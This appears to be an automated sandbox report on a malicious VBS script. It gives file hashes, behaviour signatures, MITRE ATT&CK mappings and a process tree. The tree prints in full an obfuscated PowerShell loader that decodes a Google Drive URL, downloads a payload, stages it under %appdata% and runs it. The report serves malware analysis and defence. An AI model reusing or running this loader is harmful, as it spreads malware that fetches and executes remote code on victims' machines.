eb0e02fdfc3ee053461a9f3a3538f7d67016e270c5bcc786feae1428f3712f2c

General

Target

att1-2406261629573.vbs
Size

22KB
MD5

fba9d2bc853a3bba90bededc2c5daf78
SHA1

2fd3a5b4798778dcd88151fd7af3bc9a51df134d
SHA256

d2c6cbde8e53d5ff001da2f40dfa7e86278abbc6dcd1636d3a5d4276eeb6d36b
SHA512

fc8195408d0ec5e3c72b820f09dbed4fe4ab879e4e744579046ff257b11fd5441413b2b36a62877fd6b0c63d79b8c116f232b244555230cd5c26a673723966a0
SSDEEP

384:JEqYZkW4dGpmUD0Rx5ax43pmqaTz0+5lwoodQ:JEq99opmJzIK3pmqIw+5lnCQ

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
3	2404	WScript.exe
7	2604	powershell.exe
10	2604	powershell.exe
12	2604	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
10	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2604	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2604	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2404 wrote to memory of 2604	2404	WScript.exe	31
PID 2404 wrote to memory of 2604	2404	WScript.exe	31
PID 2404 wrote to memory of 2604	2404	WScript.exe	31
PID 2604 wrote to memory of 2772	2604	powershell.exe	33
PID 2604 wrote to memory of 2772	2604	powershell.exe	33
PID 2604 wrote to memory of 2772	2604	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\att1-2406261629573.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2404
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Sulphopupuric Counterclaimed Manchet Maturation Underkoppers Skolemodenhedsprvens Bemyndigelseslovs Idelse Effluency Perinephric Tastaturteksterne polarogramme Serbokroatiske Metatoluic Uproblematisk efterladenskabet Herbicide122 Razzle Gardeners Rumbustical bennas Kbestrke pyogenous Tryllelamper Sulphopupuric Counterclaimed Manchet Maturation Underkoppers Skolemodenhedsprvens Bemyndigelseslovs Idelse Effluency Perinephric Tastaturteksterne polarogramme Serbokroatiske Metatoluic Uproblematisk efterladenskabet Herbicide122 Razzle Gardeners Rumbustical bennas Kbestrke pyogenous Tryllelamper';If (${host}.CurrentCulture) {$Contakion++;}Function Brushes($Avancementsstillingers){$Formants=$Avancementsstillingers.Length-$Contakion;$Elguitarers='SUBsTR';$Elguitarers+='ing';For( $Bureaukratiforstyrrende=2;$Bureaukratiforstyrrende -lt $Formants;$Bureaukratiforstyrrende+=3){$Sulphopupuric+=$Avancementsstillingers.$Elguitarers.Invoke( $Bureaukratiforstyrrende, $Contakion);}$Sulphopupuric;}function Setulous($Desperately){ . ($Climactically) ($Desperately);}$Preoperative=Brushes 'E MPeo tz iInl GlFraSt/Ca5B . ,0,u (S WP i ,nKod eo,iw sne ,fNFiTJu Ch1,a0 ,.,o0Ou;,e LaWSuifrn C6Ge4Co;Re CixCh6Po4 t;Sy RurDavGe:Sm1.r2Mi1P..B.0B )Bi .GR,eKac okSkoSk/Bo2 0.a1Oe0S 0St1 U0 J1St FaFAci urHjeAffTtoStxsu/Fo1Di2 1g,. 0 e ';$Parodoi=Brushes ' U FsUdeD,rD - CA BgCoeLan,atD. ';$Underkoppers=Brushes 'Clh GtRetsypSlsBu:Le/Mi/ .dSer.aiVev SeB,.BjgUno To dg tll.eta. .cceoSnmPe/FjuSvcRu?gaeHix .p.loL rSktSh=E.d Uoovw AnTwl LoHoaAsd &Sai,dd M=Lf1InFR.m.iAA,X aDNiJAcQAfgArpRaCVaGS.o.a- ia.alStFI rAcV .PBiGToRPhzPr3InRSaGda_ouQ,jI eLK.oDijDeaPr ';$Unanimated=Brushes '.u>Vi ';$Climactically=Brushes 'h,iBre IxFi ';$Besgstidernes247='Idelse';$Raadvild = Brushes ',yeThc uh lo . N%,aa upS,pKaddiaAltF.a.e%L.\ ,CE.u ClDut,ruVdr mi RsIleSvsS .M,OAnmC sMy .&He& v SueVacNohMiopa GetA. ';Setulous (Brushes 'S.$BagIml o .b,ea ,l .:.nS ,pSpaA.gd.h ,eGntAnt.ri.usSttG,rLooUdpnipBaeTrr ,=Ab( scMimIdd S p/Sac Ur$ SRFaa.oaAmdO.v,uiColPrdPa)Fr ');Setulous (Brushes ' B$ingUnl toAfbSta ,le : AMCha.ltnsuNorC,atetsuiS.o,nnMi= M$S.URinA,dVie,er .k ,o opB pOpe .r sD,.BrsEnpHal,aiFrt M(Fi$YaUCynIda ,nFoiDim.natutSye .dOc)De ');Setulous (Brushes 'In[ NMeeHgt.v.MiSspe.erStv,rir.c BeBoPC o SiPrn t.aMAna ,nm a .gdoe Rrc.]Ge: :PeS eF.cSjuP r ,iDdtutyCoPderBuoKitBeoDecCoo ulIf R.=Pr ,o[PeN,te St N. KS MeLicUtuovrmaiI tA,yM,P .rdroE.tTao RcH oUnlP T ay .p UeA ] H:M :RaTTrlD sE.1 2P. ');$Underkoppers=$Maturation[0];$Sgeresultatets= (Brushes ' M$ gExlProinbV,aSulTr: cUshmae.eaDopSknF.e Hs ls,eeEnsS.= eNAreUnwGr-DrO SbDoj eWhc tSo SaSThyK sent ue ,mU..FoN FeCotOp.K.W peFob C,nl,riFoe.onR t');$Sgeresultatets+=$Spaghettistropper[1];Setulous ($Sgeresultatets);Setulous (Brushes 'U $F cF.hreeReaInpUnnUneOksDesWheSgsTu.AnHIneU.a .dTreNer ss,[G $ EP.ea rSlo d eo Ai D].a=Pe$.aP.ar neCro KpBie .rDraStt ,iRavTeeSn ');$Pyrrhichius=Brushes ' .$S cAxhAleTaa,kpInnHyeFasKasC,ePrs o.,aD,hoRewPenSulO.o oa,fdDrFMuiFjlFaeWi(Bi$S.UDon dEpenir HkTioS p ,p Betsrp,s r,al$ SK HbG.enesSetFlrBlkDkeN ),s ';$Kbestrke=$Spaghettistropper[0];Setulous (Brushes 'S.$PrgSylOpoCob oamelNe: .UunnCodU eSkr,rvEliE,sSpnUmi AnVeg .sI.mPei ,nStiNisErtSke drSpeOunSe=Ou(AgTFoe,rs,otAf-SpPRuaUpt.ehFo Da$udKMab XeAlsSkt ,r IkBoe L) . ');while (!$Undervisningsministeren) {Setulous (Brushes ' o$abg,nldoolsbD aomlFa: kFKoa Al .sDee onPadBae.e= p$Dut crSauToe . ') ;Setulous $Pyrrhichius;Setulous (Brushes ' SS.t.eaVer,dtDy-ChS ,lF.eFie lpG Pu4Be ');Setulous (Brushes 'Ju$ HgTrlVioO,bB.aBul.e:MiUGenprd CeFar BvCoi RsCon oiPrn CgFlsScmStiLynSli,osUptFeeafr Ce ,nAd= R(UnTSkeP.sPetTe-FyP Ia ItHuhMi .$FdKGibUde Bs,ptInrAfkB eAt)he ') ;Setulous (Brushes ' P$ ogLalSvoD b DaUnlE :,uMmuaQunHicBah leNyt = b$ gIsl .ovobAlaSkl r:PeCRaoOvu nn .t FeCar scEnl aa CiAqmL,e OdGa+Ek+ T%A,$PrMOpaTytSruchr ha ftPoi aoChnCh.Hec ,o.auMonPatKn ') ;$Underkoppers=$Maturation[$Manchet];}$Microtitration=283827;$Wordness=27393;Setulous (Brushes 'De$TegMil,roPrbRea,ulTr:TeE FfRafFol u .e SnLycFly Ba=pr vGBaeC t u-AsCs oStnCotLaeS,n ytOv Ti$PlKC bReeB sDrtEnr .kSoeL. ');Setulous (Brushes 'Co$NegPelReoRebClaRalAf:InCHeo GmDep Seven NdHeiHaaHi Fo= f [GoS.gyabs St Oe,imun. CMaotrn,gvHueTrr.vtDu],l:.e: ,FBrrReoPumFlBReaTes e i6 F4EcS FtPbrSkiE.n Bg p(Ph$ .EP,fFaf.alF,uUnet,nAscveyB.) V ');Setulous (Brushes 'R.$U.gColkuo.eb IaA.lFo:EnpE.o ClboaK,rSkoR,gCtrCya,em.rmTreMn ,w=,r ,u[ rS,ey .s CtF eAbmes.ReTM,eErx St ,. OEFon ,cSooDud ,i .nA g.s]In: S:ClA PS aC.kIDeI C.SqG ee.ytudSSltj r MiSknBlg,r(R $R.CSyoRem ,p MeFinDadgeiTva ,) n ');Setulous (Brushes 'In$ Mg,plheo CbTeaNulFo:EpiSan BkZol ,uV s aiDev .eRe= ,$DypBaoBalO a rrBooGrg .rexa.rmDymKseZe.BesInuNobPosN t,urViiSknStg e( K$S.M,piGucPrrD,oT.t.ai GtAwr ra PtH,iH.o tnAf,ca$FrW voPurMod MnF,eBesEksLo)Bi ');Setulous $inklusive;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2604
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Culturises.Oms && echo t"
    3⤵
    PID:2772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\CabD847.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
memory/2604-20-0x000007FEF59AE000-0x000007FEF59AF000-memory.dmp

Filesize
4KB

Download
memory/2604-21-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2604-22-0x0000000002810000-0x0000000002818000-memory.dmp

Filesize
32KB

Download
memory/2604-24-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-23-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-25-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-26-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download
memory/2604-27-0x000007FEF59AE000-0x000007FEF59AF000-memory.dmp

Filesize
4KB

Download
memory/2604-31-0x000007FEF56F0000-0x000007FEF608D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing